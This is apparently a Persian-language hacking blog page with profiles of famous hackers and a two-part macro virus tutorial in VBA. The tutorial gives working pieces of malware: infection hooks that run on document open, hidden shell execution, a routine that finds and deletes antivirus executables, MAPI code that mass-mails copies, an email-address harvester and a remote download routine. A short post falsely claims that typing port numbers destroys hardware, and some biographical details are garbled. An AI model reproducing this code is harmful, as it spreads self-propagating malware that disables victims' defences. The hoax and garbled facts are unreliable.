exploit

هیچ وقت برای تازه شدن دیر نیست!

exploit

هیچ وقت برای تازه شدن دیر نیست!

۵ هکر کلاه سفید برتر جهان

به هکرهایی که از مهارتهای رخنه گری خود در جهت مثبت استفاده میکنند ، هکرهای کلاه سفید گفته میشود. این هکرها که اغلب هکرهای اخلاقی نیز خوانده میشوند از طریق شرکتها برای بررسی بی عیبی و درستی سیستمها استخدام میشوند. سایر هکرهای کلاه سفید بدون اجازه شرکت با منحرف کردن قوانین، نه شکستن آنها وارد عمل میشوند و این پیشروی درونی نتایج و ویژگیهای جالبی را نیز در پی داشته است. در این مقاله به بررسی و انتخاب 5 نفر از بهترین هکرهای غیر خرابکار و ابتکارات و تکنولوژیهایی که ایجاد کرده اند . پرداخته شده است. 


 

1. استفان وزنیاک Steve Wozniakاین شخص با نام مستعار ووز Woz اغلب "استیو دیگر اپل" (other Steve of Apple) نیز گفته میشود. وزنیاک و استیو جابز Steve Jobs شرکت کامپیوتری اپل را با شراکت هم تاسیس کردند. ووز رخنه گری خود را با ساخت جعبه های آبی شروع کرد. دستگاههایی که از مکانیسم های راه گزینی تلفن می گذرند و به کاربران امکان تلفن از راه دور طولانی مدت مجانی را میدهند. ووز و جابز این جعبه های آبی را به همکلاسیهایشان در کالج فروختند و حتی یکی از آنها وانمود کرد که هنری کیسینگر ( سیاست مدار آمریکایی ) است.
ووزنیاک را از کالج اخراج کردند و او کامپیوتری اختراع کرد که او را در همه جا مشهور کرد. جابز قصد داشت کامپیوتر را به عنوان یک مدار کامپیوتری کاملا همگذاری شده بفروشد. این ایده به بار نشست و در تعمیرگاه جابز توسعه یافت. ووزنیاک و جابز 100 دستگاه اپل اول را هر کدام به قیمت 66666 دلار به یک فروشنده محلی فروختند.
جدیدا ووز به خاطر احساسات بشر دوستانه خود وقتش را فقط به اپل اختصاص نمیدهد. ووزنیاک مشاور مدرسه لوی گیتس را به عهده گرفته است تا به دانش آموزان و معلمان در تدریس و اهدا تجهیزات مدرن تکنولوژی یاری رساند.
 

2. تیم برنرز – لی Tim Berners-Leeاختراع وب جهانی را به برنرز لی نسبت میدهند. برنرز لی مفتخر به دریافت چندین تقدیر نامه از جمله جایره تکنولوژی هزاره شده است.
برنرزلی اولین بار در حالی که در دانشگاه آکسفورد تحصیل میکرد به خاطر هک کردن کدهای دسترسی به همراه دوستش دستگیر شد. سپس او را از استفاده کامپیوترهای دانشگاه تحریم کردند.
او فهمید که hypertext یا فوق متن ( شکلی از ارائه اطلاعات است که کاربر میتواند عناوین مرتبط را بدون در نظر گرفتن ترتیب آنها مرور نماید ) میتواند به اینترنت بپیوندد. برنرز لی تعریف میکند که چطور او آنها را با هم جمع کرد : " من فقط مجبور بودم که ایده hypertext را بگیرم و آن را به ایده های پروتکل انتقال اطلاعات در اینترنت ( TCP ) و خدمات اینترنتی ترجمه نام سایتها به آدرسهای عددی ( DNS ) ربط بدهم و نتیجه ! وب جهانی . "
بعد از اینکه او وب جهانی را ایجاد کرد برنرز لی کنسرسیوم جهانی را در موسسه تکنولوژی ماساچوست تاسیس کرد. کنسرسیوم جهانی وب ( W3C ) خودش را با عنوان یک کنسرسیوم بین المللی که در آنجا سازمانهای عضو، یک کادر تمام وقت و عموم مردم با هم برای توسعه استانداردهای وب کار می کنند، توصیف میکند. ایده وب جهانی برنرز لی ، همچنین استانداردهایی از W3C به طور مجانی بدون هیچ امتیاز یا حق الختراع توزیع می شوند.

 

3. لینوس توروالدز Linus Torvaldsتوروالدز توانست لینوکس ، سیستم عامل کاملا مشهور بر پایه یونیکس را به وجود آورد. او خودش را " یک مهندس " میخواند و بیان کرده است که آرزوها و اهداف او بسیار ساده هستند " من فقط میخواهم از ساختن بهترین سیستم عاملی که میتوانم ، لذت ببرم. "
شروع توروالدز با کامپیوترهای دارای Commodore VIC-20 ، کامپیوتر خانگی 8 بیتی بود . او سپس تا یک Sinclair QL پیش رفت. ویکیپدیا چنین گزارش میدهد که او Sinclair و مخصوصا سیستم عامل آن را به طور گسترده ای اصلاح کرد. " بویژه هکهای توروالدز شامل یک همگذار و یک ویرایشگر متن ... همچنین چند بازی بود. "
توروالدز لینوکس کرنل را در سال 1991 با الهام گرفتن از سیستم عامل مینیکس تولید کرد. او با یک سویچ زن کار در همگذاری اینتل 80386 و یک درایو نهایی شروع کرد. بعد از آن او یک فراخوانی را برای دیگران منتشر کرد تا در کدی که آنها ارائه کرده بودند، مشارکت و همکاری کنند. بطور متداول فقط حدود 2 درصد لینوکس کرنل فعلی توسط خود توروالدز نوشته شده است . موفقیت این فراخوان عمومی برای اهدا کد به لینوکس به عنوان یکی از برجسته ترین نمونه های نرم افزار آزاد و اپن سورس منتشر شده است.
اکنون توروالدز به عنوان سردسته لینوکس فعالیت کرده و کدهایی را که برنامه نویسان داوطلب به کرنل اهدا میکنند را هماهنگ کرده و تعدیل میکند. به افتخار او یک شهاب آسمانی به نام او نامگذاری شده و او دکتراهای افتخاری را از دانشگاه های استکهلم و هلسینکی دریافت کرده است. همچنین از او به طور برجسته های در " 60 سال عمر قهرمانان " مجله تایم نام برده اند.

 

4. ریچارد استالمن Richard Stallmanاستالمن شهرت خود را از پروژه GNU که برای توسعه یک سیستم عامل مجانی تاسیس کرد، بدست آورد. به این خاطر همه او را پدر نرم افزارهای آزاد می شناسند. زندگی جدی او اثبات میکند که نرم افزارهای غیر آزاد کاربران را جدا و درمانده میکنند اشتراک آنها ممنوع بوده و نمیتوان آنها را تغییر داد. یک سیستم عامل مجانی برای مردم ضروری است تا بتوانند از کامپیوترها با آزادی کامل استفاده کنند.
وی رخنه گری یا هک خود را با موسسه تکنولوژی ماساچوست شروع کرد. او در سمت یک کارمند هکر روی پروژه ایماکس و پروژه های دیگر کار میکرد. او مخالف دسترسی کامپیوتری محدود در آزمایشگاه بود. وقتی یک سیستم پسورد روی یک کامپیوتر نصب کردند استالمن آن را شکسته و از کار انداخت و با تغییر رمزهای ورود هر چه رشته بودند پنبه کرد. سپس به کاربران پیامهایی فرستاد و آنها را حذف سیستم مطلع کرد.
نهضت استالمن برای نرم افزار مجانی با یک چاپگر شروع شد. در آزمایشگاه موسسه تکنولوژی ماساچوست او و دیگر هکرها اجازه داشتند تا کد روی چاپگرها را تغییر دهند تا اینکه آنها پیامهای هشدار مفیدی را فرستادند. در هر حال یک چاپگر جدید وارد میدان شد – چاپگری که آنها اجازه تغییر آن را نداشتند. آن را دورتر از آزمایشگاه قرار داده بودند و فقدان این هشدارها سبب ناراحتی و دردسر میشد. در این نقطه بود که نیاز اخلاقی برای لزوم وجود نرم افزارهای مجانی او را متقاعد کرده بود.
با الهام از این مطلب او شروع به کار روی GNU کرد. استالمن مقاله ای با عنوان GNU نوشت که در آن او تصمیم گرفت روی یک سیستم عامل کار کند چون به نظر او " نرم افزار ضروری برای استفاده از یک کامپیوتر " پایه و اساس یک کامپیوتر است. در این موفقیت ورژن GNU یا لینوکس این سیستم عامل از لینوکس کرنل استفاده می کرد که توسط توروالدز پایه گذاری شده بود. GNU تحت " قانون کپی رایت " توزیع میشود روشی که از قانون کپی رایت استفاده میکند تا به کاربران اجازه استفاده ، تغییر ، کپی کردن و توزیع یک نرم افزار را بدهد.
زندگی استالمن به تفکر و سیر کردن پیرامون ترقی و ترویج نرم افزارهای آزاد ادامه می یابد. او علیه جنبشهایی مانند مدیریت حقوق دیجیتال ( یا به قول او مدیریت محدودیتهای دیجیتال ) از طریق سازمانهایی مانند موسسه نرم افزارهای آزاد و اتحادیه برنامه نویسی آزاد فعالیت می کند. او تقدیرنامه های فراوانی از قبیل جایز ها، عضویتها و چهار دکترای افتخاری را به خاطر کارش دریافت کرده است.

 

5. سوتومو شیمومورا Tsutomu Shimomuraشیمومورا شهرت را از راه بدشانسی به دست آورد: او توسط کوین میتنیک Kevin Mitnick هک شده بود. پیرو این حمله شخصی ، او این را بهانه ای قرار داد تا به اف بی آی در گرفتن او کمک کند.
کار شیمومورا برای گرفتن او ستودنی بود اما کار او خالی از افکار شیطانی نبود. یک نویسنده به نام بروس استرلینگ Bruce Sterling بیاد می آورد که : او موبایل شرکت تلفن و تلگراف آمریکا را جدا میکند آن را از بسته بندی بیرون می آورد و با یک انگشت آن را هک میکند و در حالیکه یک نماینده اف بی آی کنار شانه او ایستاده و به او گوش میدهد شروع به نظارت بر تماسهای تلفنی میکند که از Capitol Hill بالا و پاین میروند.
شیمومورا میتنیک را از هک درآورد تا او را تحقیر کند. کمی بعد از اینکه او درباره این ورود سرزده و بی اجازه فهمید تیمی را دور هم جمع کرد و به کار گرفت تا میتنیک را پیدا کنند.
با استفاده از موبایل میتنیک آنها او را در نزدیکی فرودگاه بین المللی Raleigh-Durham ردیابی کردند. مقاله " کارشناسان کامپیوتر اف بی آی در گرفتن یک تروریست کامپیوتری کمک میکنند " تعریف میکند که چطور شیمومورا محل میتنیک را دقیقا پیدا کرد. او با کمک یک کارشناس فنی شرکت تلفن " از یک مسیر فرکانس سلولی استفاده کرد تا آنتنی را پیدا کند که به یک لپ تاپ وصل شده بود تا حلقه جستجوی خود را به یک مجموعه آپارتمانی تنگ تر کند. کمی بعد از آن میتنیک دستگیر شد.
پیرو این تعقیب و پیگردی شیمومورا کتابی در مورد این رویداد با همکاری یک روزنامه نگار به نام جان مارکوف نوشت John Markoff که بعدها فیلم آن ساخته شد.

ماکرو ویروس2

در این بخش در مورد دستور ها و یکی از روش های چهار گانه مخفی سازی صحبت میکنیم.
طریقه کد نویسی:
در بخش زیر دستورات لازمه را برای شما بیان میکنم:
Document_Open() دستور آلوده ساختن document در هنگام باز شدن می باشد.
Document_New() دستور آلوده ساختن هر پرونده جدید می باشد.
Document_Close() دستور آلوده ساختن هر پرونده در زمانی که آن بسته میشود.
FileSaveAs() دستور آلوده ساختن پرونده در هنگامSaveAs میباشد.
FileSave() دستور الوده سازی پرونده در هنگام Save میباشد.
ToolsSpelling() دستور الوده سازی به هنگام چک کردن spell میباشد.
ToolsGrammar() دستور آلوده ساختن در هنگام چک کردن گرامر می باشد.
AutoExec() دستور الوده ساختن هنگامی که پرونده باز است (مخصوصا برای template )
AutoExit دستور آلوده ساختن هنگامی که پرونده بسته میباشد (مخصوصا برای template)
ViewVBCode() این دستور و دو دستور زیر هر سه در جهت پنهان سازی به کار میروند.
ToolsMacro()
FileTemplates().
Shell "command.com /whatever you want", vbHide این دستور در داس اجرا و دستور vbHide پنجره داس را پنهان نموده و قربانی از اتفاق افتاده اطلاعی نمییابد.
به طور مثال در Shell "command.com /c ftp.exe", vbHide اف تی پی برای پنهان کردن عملیات مورد استفاده قرار گرافته است.

در بخش بالا یک سری از دستورات مورد استفاده در ماکرو ویروس نویسی را مشاهده کردید فقط توجه کنید که در آغاز باید از sub استفاده کنید و در انتها هم از End Sub استفاده کنید.
به مثال زیر توجه نمایید:
Sub Document_New()
msgbox "x11011110x"
End Sub
آنرا در VBA خود قرار دهید ماکرو را اجرا کنید سپس یک document ایجاد نمایید و مشاهده می کنید که یک پنجره جدید پدیدار میشود.
ضمنا میتوانید از دستور On Error Resume Next نیز استفاده کنید تا در هنگام ایجاد خطا به کار خود ادامه دهد.
یک فایل را باز نموده و برای تمربن بیشتر مثال زیر را می نویسیم
Sub Document_Open()
On Error Resume Next همیشه در ابتدای ساب این مورد را استفاده کنید.
Open "C:\xde.txt" For Output As #1 این دستور یم فایلی به نام xde.txt را در داریو سی ایجاد یا باز می نماید.
Print #1, "x11011110x" این دستور x11011110x را در فایل xde.txt قرار میدهد.
Close #1 این دستور فایل های بازشده قبلی را برای شما میبندد.
Msgbox "File Written to" این پیام را برای شما به نمایش میگذارد.

تکنیک های پنهان سازی:
برای این کار روش های متفاوتی وجود دارد که من 4 روش را برای شما توضیح میدهم:

1. پاک کردن آنتی ویروس
همه ی ما با آنها آ شنا هستیم در این بخش هدف ما یافتن راهی برای از کار انداختن آنتی ویروس ها است. برای این کار باید فایل .exe مربوط به آنتی ویروس را بیابیم و آنرا پاک کنیم و بعد از آن محیط کار ما مساعد میشود. اما مشکلی اساسی را در پیش روی خود داریم در اکثر موارد تنظیمات را به شکلی تنظیم میکنیم که اگر آنتی ویروس در مسیر پیش فرض نصب شده باشد در آن صورت آن را از کار می اندازد و اگر در مسیر دیگر باشد کاری انجام نمیدهد پس باید یک موتور جستجو گر را در ویروس تعبیه کنیم که فایل مربوطه را یافته و نابود سازد.

Sub Mainz()
Set Fs = Application.FileSearch این دستور Fs یه عنوان فیل جستجو گر Application قرار میدهد.
es$ = "xdez.txt" این دستور es$ را برای xdez.txt تعریف می نماید.
.LookIn = "C:\" این دستور فایل یا درایو را معین می سازد.
.SearchSubFolders = True این دستور میگوید که کل فایل یا درایو را جستجو نماید.
.FileName = es$ این دستور فایل نیم دنبا ل es$ میگرد.
If .Execute > 0 Then اگر پیدا گشت دستورات زیر را اجرا کن.
MsgBox "File Found" این دستور در پیامی پیدا شده فایل را اطلاع میدهد.
Set ds = CreateObject("Scripting.FileSystemObject") این دستور شی FSO را ایجاد می نماید.
Set fy = ds.GetFile(es$) این دستور اجازه میدهد که مسیر فایل را به دست آوریم
h = (fy.Path) این دستور به مسیر فایل یک متغیر را نسبت میدهد.
SetAttr h, vbNormal ویژگی فایل را به شکل نرمال قرار میدهد.
Kill (h) این دستور فایل را پاک می کند.
MsgBox "File Illimenated" این دستور شما را از پاک شدن آگاه می سازد.
Else
MsgBox "File was not found." این دستور میگوید که فایل پیدا نشد
End If
End With
End Sub

شاید در بخش بالا یک سری مطالب برای شما گیج کننده باشد که سعی میکنم یک سری از مطالب گیج کننده را برای شما باز کنم.
شاید در نگاه اول مثلا سوال کنید که برای متغیر نام Fy را در نظر گرفتم علت این برای مشکل نمودن تشخصی توسط انتی ویروس می باشد.
Set ds = CreateObject("Scripting. ")
این خط اجازه پیدا نمودن مسیر فایل و ایجاد یک FileSystemObject را برای استفاده در ماکرو به شما می دهد.
Set fy = ds.GetFile(es$)
این خط دستور را مشاهده میکنید که در واقع همانند File Operator.GetFile(filespec) کار میکند که در این مورد File Operator تعریف شده در ds و داریم ds.GetFile(filespec) since و file spec تعریف گشته در es$ و درشکل کلی به
Set fy = ds.GetFile(es$) می رسیم.
خط بعدی دستور h = (fy.Path) میباشد . این دستور h را در مسیر فایل ما قرار میدهد (مثلا . C:\My Documents\xdez.txt)
SetAttr h, vbNormal این دستور یک ویژگی را به فایل میدهد و آن هم اینست که آن را به صفت نرمال را نسبت می دهد و آن را قابل پاک نمودن میکند.
Kill (h) که به زبان دیگر به شکل Kill ("C:\My Documents\xdez.txt") و تمام چیز هایی را که در مسیر بیابد پاک مینماید.

در بخش زیر دستورات را بدون توضیحات مربوط به دیباگ مشا هده میکنید.
Sub Mainz()
On Error Resume Next
Set Fs = Application.FileSearch
es$ = "xdez.txt"
With Fs
.LookIn = "C:\"
.SearchSubFolders = True
.FileName = es$
If .Execute > 0 Then
Set ds = CreateObject("Scripting.FileSystemObject")
Set fy = ds.GetFile(es$)
h = (fy.Path)
SetAttr h, vbNormal
Kill (h)
Else
End If
End With
End Sub

خوب اگر حواس شما جمع باشد باید متوجه یک تغییر باشید و آن هم On Error Resume Next است که باید همیشه در نوشتن ماکرو ویروس ها از آن استفاده کنید این دستور به راحتی تمام Error ها را توجه نکرده و به خط بعد دستوری رفته و به کار خود ادمه میدهد.
در این بخش تنها یک نکته باقی ماند و آن هم پاک کردن آنتی ویروس از طریق دستور برای امتحان آنتی ویروس نصب کنید و به جای es$ در es$ ="xdez.txt" باید به طور مثال Norton.exe که به شکل زیر میرسیم:
es$ = "Norton.exe"

یک مساله دیگر اینکه شما با ساختن یک اسکریپت می توانید autoexec.bat را باز کنید و چک کنید.bat تا متوجه گردید آیا پس از پاک شدن اولیه دوباره آنتی ویروس نصب شده است و در صورت نصب دوباره آن را پاک کنید.

از بین بردن کامپیوتر در چند ثانیه

این پرت ها رو اگه تو داس بنویسید و بعدش اینتر بزنید اون وقته که می تونید با کامپیوتر خداحافظی کنید

1838    1503

1850    1500

1848    1499

1839    1543

پرت اول  : مادربورد قربانی رو میسوزونه

پرت دوم  : کارت گرافیک قربانی رو پر می کنه

پرت سوم : شیشه مانیتور قربانی رو میسوزونه

پرت چهارم : دستگاه رو داغون می کنه

ماکرو ویروس1

استفاده از MAPI برای فرستادن میل:
در قسمت آخر آموزش شما با چگونگی انتشار ماکر ویروس خود آشنا میشوید.
از MAPI win32 api برای یافتن آدرس های ایمیل و ارسال نسخه های از خود استفاده میکند. ما ار تابع های MAPILogOn, MAPISendMail, MAPILogoff برای بر طرف کردن کار های خود استفاده میکنیم. این کد ها در پروسیژر در راستای ارسال میل ها با متن مورد نظر عمل میکنند.
Public Const MAPI_AB_NOMODIFY = &H400
Public Const MAPI_BCC = 3
Public Const MAPI_BODY_AS_FILE = &H200
Public Const MAPI_CC = 2
Public Const MAPI_DIALOG = &H8
Public Const MAPI_E_AMBIGUOUS_RECIPIENT = 21
Public Const MAPI_E_AMBIG_RECIP = MAPI_E_AMBIGUOUS_RECIPIENT
Public Const MAPI_E_ATTACHMENT_NOT_FOUND = 11
Public Const MAPI_E_ATTACHMENT_OPEN_FAILURE = 12
Public Const MAPI_E_ATTACHMENT_WRITE_FAILURE = 13
Public Const MAPI_E_BAD_RECIPTYPE = 15
Public Const MAPI_E_BLK_TOO_SMALL = 6
Public Const MAPI_E_DISK_FULL = 4
Public Const MAPI_E_FAILURE = 2
Public Const MAPI_E_INSUFFICIENT_MEMORY = 5
Public Const MAPI_E_INVALID_EDITFIELDS = 24
Public Const MAPI_E_INVALID_MESSAGE = 17
Public Const MAPI_E_INVALID_RECIPS = 25
Public Const MAPI_E_INVALID_SESSION = 19
Public Const MAPI_E_LOGIN_FAILURE = 3
Public Const MAPI_E_LOGON_FAILURE = MAPI_E_LOGIN_FAILURE
Public Const MAPI_E_MESSAGE_IN_USE = 22
Public Const MAPI_E_NETWORK_FAILURE = 23
Public Const MAPI_E_NO_MESSAGES = 16
Public Const MAPI_E_NOT_SUPPORTED = 26
Public Const MAPI_E_TEXT_TOO_LARGE = 18
Public Const MAPI_E_TOO_MANY_FILES = 9
Public Const MAPI_E_TOO_MANY_RECIPIENTS = 10
Public Const MAPI_E_TOO_MANY_SESSIONS = 8
Public Const MAPI_E_TYPE_NOT_SUPPORTED = 20
Public Const MAPI_E_UNKNOWN_RECIPIENT = 14
Public Const MAPI_ENVELOPE_ONLY = &H40
Public Const MAPI_FORCE_DOWNLOAD = &H1000
Public Const MAPI_GUARANTEE_FIFO = &H100
Public Const MAPI_LOGOFF_SHARED = &H1
Public Const MAPI_LOGOFF_UI = &H2
Public Const MAPI_LOGON_UI = &H1
Public Const MAPI_NEW_SESSION = &H2
Public Const MAPI_OLE = &H1
Public Const MAPI_OLE_STATIC = &H2
Public Const MAPI_ORIG = 0
Public Const MAPI_PEEK = &H80
Public Const MAPI_RECEIPT_REQUESTED = &H2
Public Const MAPI_SENT = &H4
Public Const MAPI_SUPPRESS_ATTACH = &H800
Public Const MAPI_TO = 1
Public Const MAPI_UNREAD = &H1
Public Const MAPI_UNREAD_ONLY = &H20
Public Const MAPI_USER_ABORT = 1
Public Const MAPI_E_USER_ABORT = MAPI_USER_ABORT
Public Const SUCCESS_SUCCESS = 0
'-- mapi message recipient object type
Public Type MapiRecip
Reserved As Long
RecipClass As Long
Name As String
Address As String
EIDSize As Long
EntryID As String
End Type
'-- mapi message file object type
Public Type MapiFile
Reserved As Long
Flags As Long
Position As Long
PathName As String
FileName As String
FileType As String
End Type
'-- mapi message object type
Public Type MAPIMessage
Reserved As Long
Subject As String
NoteText As String
MessageType As String
DateReceived As String
ConversationID As String
Flags As Long
RecipCount As Long
FileCount As Long
End Type
Public Declare Function MAPILogoff Lib "MAPI32.DLL" (ByVal Session&, _
ByVal UIParam&, ByVal Flags&, _
ByVal Reserved&) As Long
Public Declare Function MAPILogon Lib "MAPI32.DLL" (ByVal UIParam&,_
ByVal User$, ByVal Password$, _
ByVal Flags&, ByVal Reserved&,_
Session&) As Long
Public Declare Function MAPISendMail Lib "MAPI32.DLL" Alias _
"BMAPISendMail" (ByVal Session&,
ByVal _
UIParam&, Message As MAPIMessage, _
Recipient() As MapiRecip, File() As
MapiFile, _
ByVal Flags&, ByVal Reserved&) As
Long

' Mailsending procedure
' sTo - target adress (where the email should ne delivered)
' sSubject - email subject
' sMessage - message body text
Public Function api_SendMail(sTo As String, sSubject As String, sMessage As
String)
' * use api functions to send mail
'
On Error Goto suxx
Dim Rtn As Long '-- return value For api calls
Dim objMsg As MAPIMessage''-- message object
Dim objRec() As MapiRecip''-- recipient object array
Dim objFile() As MapiFile''-- file object array
Dim hMAPI As Long'-- session handle
ReDim objRec(1)
ReDim objFile(1)
'
'-=-=-=-=-=-
'file object
'-=-=-=-=-=-
'
' * default - not expecting to send a file
'
objFile.Reserved = 0
'
' * values not used
'
'objFile.Flags
'objFile.Position = -1
'objFile.PathName = "c:\mtx4ever.exe"
'objFile.FileName = 0
'objFile.FileType = 0
'
'-=-=-=-=-=-=-=-=
'recipient object
'-=-=-=-=-=-=-=-=
'
objRec(0).Reserved = 0
objRec(0).RecipClass = 1
objRec(0).Name = sTo
'
' * values not used for recipient
'
'objRec.Address
'objRec.EIDSize
'objRec.EntryID
'
'-=-=-=-=-=-=-=
'message object
'-=-=-=-=-=-=-=
'
objMsg.Reserved = 0
objMsg.Subject = sSubject ' mail subject
objMsg.RecipCount = 1
objMsg.FileCount = 0 ' how many files are in message
objMsg.NoteText = sMessage ' mail message
'
' * values not used for message
'
'objMsg.MessageType
'objMsg.DateReceived
'objMsg.ConversationID
'objMsg.Flags
' We will create a session for e-mail sending
' using standart windows password for sending emails.
' it's possible not to use MS Exchange Settings, and simply put 0 to that
option
Rtn = MAPILogon(0, "MS Exchange Settings", "", MAPI_LOGON_UI, 0, hMAPI)
' * send mail message through MAPI
Rtn = MAPISendMail(hMAPI, 0, objMsg, objRec, objFile, 0, MAPI_DIALOG)
' * logoff MAPI application
Rtn = MAPILogoff(hMAPI, 0, 0, 0)
' * close this function
Exit Function
suxx:
Msgbox "MOD_MAIL.api_SendMail()"
End Function

یک موتور جستجو را بو سیله ی تابع های ای پی آی ایجاد نموده و آن آدرس ها را یافته و آنها را ذخیره می نماید . البته می توان آدرس هایی زیادی را در مسیر زیر یافت:
C:\windows\Temporary Internet Files

مدل باس
Private Declare Function FindFirstFile Lib "kernel32" _
Alias "FindFirstFileA" _
(ByVal lpFileName As String, _
lpFindFileData As WIN32_FIND_DATA) As Long
Private Declare Function FindNextFile Lib "kernel32" _
Alias "FindNextFileA" _
(ByVal hFindFile As Long, _
lpFindFileData As WIN32_FIND_DATA) As Long
Private Declare Function GetFileAttributes Lib "kernel32" _
Alias "GetFileAttributesA" _
(ByVal lpFileName As String) As Long
Private Declare Function FindClose Lib "kernel32" _
(ByVal hFindFile As Long) As Long
Const MAX_PATH = 260
Const MAXDWORD = &HFFFF
Const INVALID_HANDLE_VALUE = -1
Const FILE_ATTRIBUTE_ARCHIVE = &H20
Const FILE_ATTRIBUTE_DIRECTORY = &H10
Const FILE_ATTRIBUTE_HIDDEN = &H2
Const FILE_ATTRIBUTE_NORMAL = &H80
Const FILE_ATTRIBUTE_READONLY = &H1
Const FILE_ATTRIBUTE_SYSTEM = &H4
Const FILE_ATTRIBUTE_TEMPORARY = &H100
Private Type FILETIME
dwLowDateTime As Long
dwHighDateTime As Long
End Type
Private Type WIN32_FIND_DATA
dwFileAttributes As Long
ftCreationTime As FILETIME
ftLastAccessTime As FILETIME
ftLastWriteTime As FILETIME
nFileSizeHigh As Long
nFileSizeLow As Long
dwReserved0 As Long
dwReserved1 As Long
cFileName As String * MAX_PATH
cAlternate As String * 14
End Type
Function StripNulls(OriginalStr As String) As String
If (InStr(OriginalStr, Chr(0)) > 0) Then
OriginalStr = Left(OriginalStr, _
InStr(OriginalStr, Chr(0)) - 1)
End If
StripNulls = OriginalStr
End Function
Function FindFilesAPI(path As String, _
SearchStr As String, _
FileCount As Integer, _
DirCount As Integer)
Dim FileName As String ' variable holding filename
Dim DirName As String ' variable holding subdir name
Dim dirNames() As String ' filenames buffer
Dim nDir As Integer ' number of directories in this path
Dim i As Integer ' cycle counter
Dim hSearch As Long ' search descriptor
Dim WFD As WIN32_FIND_DATA
Dim Cont As Integer
If Right(path, 1) <> "\" Then path = path & "\"
' subdirectories search
nDir = 0
ReDim dirNames(nDir)
Cont = True
hSearch = FindFirstFile(path & "*", WFD)
If hSearch <> INVALID_HANDLE_VALUE Then
Do While Cont
DirName = StripNulls(WFD.cFileName)
If (DirName <> ".") And (DirName <> "..") Then
' checking directory
If GetFileAttributes(path & DirName) And _
FILE_ATTRIBUTE_DIRECTORY Then
dirNames(nDir) = DirName
DirCount = DirCount + 1
nDir = nDir + 1
ReDim Preserve dirNames(nDir)
End If
End If
Cont = FindNextFile(hSearch, WFD)
Loop
Cont = FindClose(hSearch)
End If
hSearch = FindFirstFile(path & SearchStr, WFD)
Cont = True
If hSearch <> INVALID_HANDLE_VALUE Then
While Cont
FileName = StripNulls(WFD.cFileName)
If (FileName <> ".") And (FileName <> "..") Then
FindFilesAPI = FindFilesAPI + _
(WFD.nFileSizeHigh * MAXDWORD) + _
WFD.nFileSizeLow
FileCount = FileCount + 1
'List1.AddItem path & FileName
ggg = path & FileName
MsgBox ggg
Call try(ggg)
End If
Cont = FindNextFile(hSearch, WFD) ' Get next file
Wend
Cont = FindClose(hSearch)
End If
' if there are subdirectories
If nDir > 0 Then
' perform recursive search
For i = 0 To nDir - 1
FindFilesAPI = FindFilesAPI + _
FindFilesAPI(path & dirNames(i) _
& "\", SearchStr, FileCount, DirCount)
Next i
End If
End Function
Private Sub Search()
Dim SearchPath As String, FindStr As String
Dim FileSize As Long
Dim NumFiles As Integer, NumDirs As Integer
Screen.MousePointer = vbHourglass
'SearchPath = directory name
SearchPath = "C:\My Documents"
' FindStr = filename we are searching for
FindStr = "*.*htm"
FileSize = FindFilesAPI(SearchPath, FindStr, NumFiles, NumDirs)
Screen.MousePointer = vbDefault
End
End Sub
Private Sub try(fName)
On Error Resume Next
WindowSize = 5000
seekPoint = 1
Open fName For Binary As 1
Do While seekPoint < LOF(1)
VarString$ = String$(WindowSize, " ")
Get #1, seekPoint, VarString$
seekPoint = seekPoint + WindowSize - 50
AsIs = search_(VarString$)
Loop
Close #1
End Sub
Function mid_(a$, i, j1)
On Error Resume Next
s = 0
If i > 0 And (i + j1 - 1) <= Len(a$) Then
b$ = Mid$(a$, i, j1)
If b$ >= "a" And b$ <= "z" Then s = 1
If b$ >= "A" And b$ <= "Z" Then s = 1
If b$ >= "0" And b$ <= "9" Then s = 1
If b$ = "-" Or b$ = "_" Or b$ = "+" Or b$ = "." Or b$ = "@" Then s = 1
End If
mid_ = s
End Function
Function search_(a$)
On Error Resume Next
s$ = ""
For i = 1 To Len(a$)
If Mid$(a$, i, 1) = "@" Then
name_ = "": j = i
Do
j = j - 1
s = mid_(a$, j, 1)
Loop While s = 1
Do
j = j + 1
s = mid_(a$, j, 1)
If s = 1 Then name_ = name_ + Mid$(a$, j, 1)
Loop While s = 1
s = 0: k = 0
For j2 = 1 To Len(name_)
If Mid$(name_, j2, 1) = "@" Then k = k + 1
If Mid$(name_, j2, 1) = "." Then s = 1
Next
If k = 1 And s = 1 And Len(name_) > 5 And Left$(name_, 1) <> "@" And
Right$(name_, 1) <> "@" Then MsgBox name_
'Then UserForm1.addr.AddItem Name_
End If
If Mid$(a$, i, 1) <> "@" Then s$ = s$ + Mid$(a$, i, 1) Else s$ = s$ + " "
Next
search_ = s$
End Function
در پروسیژر فوق یک فایل از یک URL دانلود میگردد.
این هم یک روش فشرده تر شده برای برای کسانی که از کد های زیاد متنفر هستند.
DownLoadPlugin "URL of the plugin", "name of the plugin"
Code & Exemple:
Private Sub Download()
DownLoadPlugin "http://matrixvx.org", "plugin.plg"
End Sub

Public Declare Function DoFileDownload Lib "shdocvw.dll" (ByVal lpszFile As
String) As Long
Public Sub DownLoadPlugin(urlz As String, plugin As String)
Dim DL As Long
On Error GoTo errorz
If urlz$ = "" Then urlz$ = strUrl$
If strUrl$ = "" Then strUrl$ = urlz$
If Left(strUrl$, 4) <> "http" Then strUrl$ = "http://" & strUrl$
If Right$(strUrl$, 1) <> "/" Then strUrl$ = strUrl$ & "/"
If Left$(plugin$, 1) = "/" Then plugin = Mid$(plugin$, 2)
DL& = DownLoadPlugin(StrConv(strUrl$ & plugin$, vbUnicode))
Exit Sub
errorz:
MsgBox "Can't download the fucking file" & urlz & plugin$ & ".",
vbCritical,
"Oshibka - ERROR !!!!"
End Sub

سلطان های هک جهان (گروه l0pht)

 

  

 

مقدمه :

 در گوشه کنار جهان از کوچه پس کوچه های  کلان شهرهایی مثل همین  تهران خودمان گرفته تا شهرهای آمریکای ی جنوبی و  تا شهری مثل مسکو گرفته و یا کلان شهرهایی مثل  New York  ویا شهر های کوچکی در آلمان و اروپا  تا محله های فقیر نشین در هند و چین و افریقا و... و.... و.... همه جا و در هر  زمانی  مطمئن باشید شخصی با دقت  هر چه تمام تر به صفحه نمایش مونیتور خود خیره شده است و با تلاش خستگی ناپذیر خود سعی بر شکست سدها و دعوت به مبارزه ای نفس گیر با تکنولوژی خودساخته ی بشری نموده است ...بله او یک هکر هست در هر سنی در هر جنسی در هر مکان شغلی ای و با هر  فرهنگ و دینی ...یک هکر ...کمتر شهری در جهان را پیدا می کنید که اگر هیچ گروه منسجمی در آن نباشد حداقل یک هکر در ان یافت می شود که به فعالیت های هکری مشغول است .

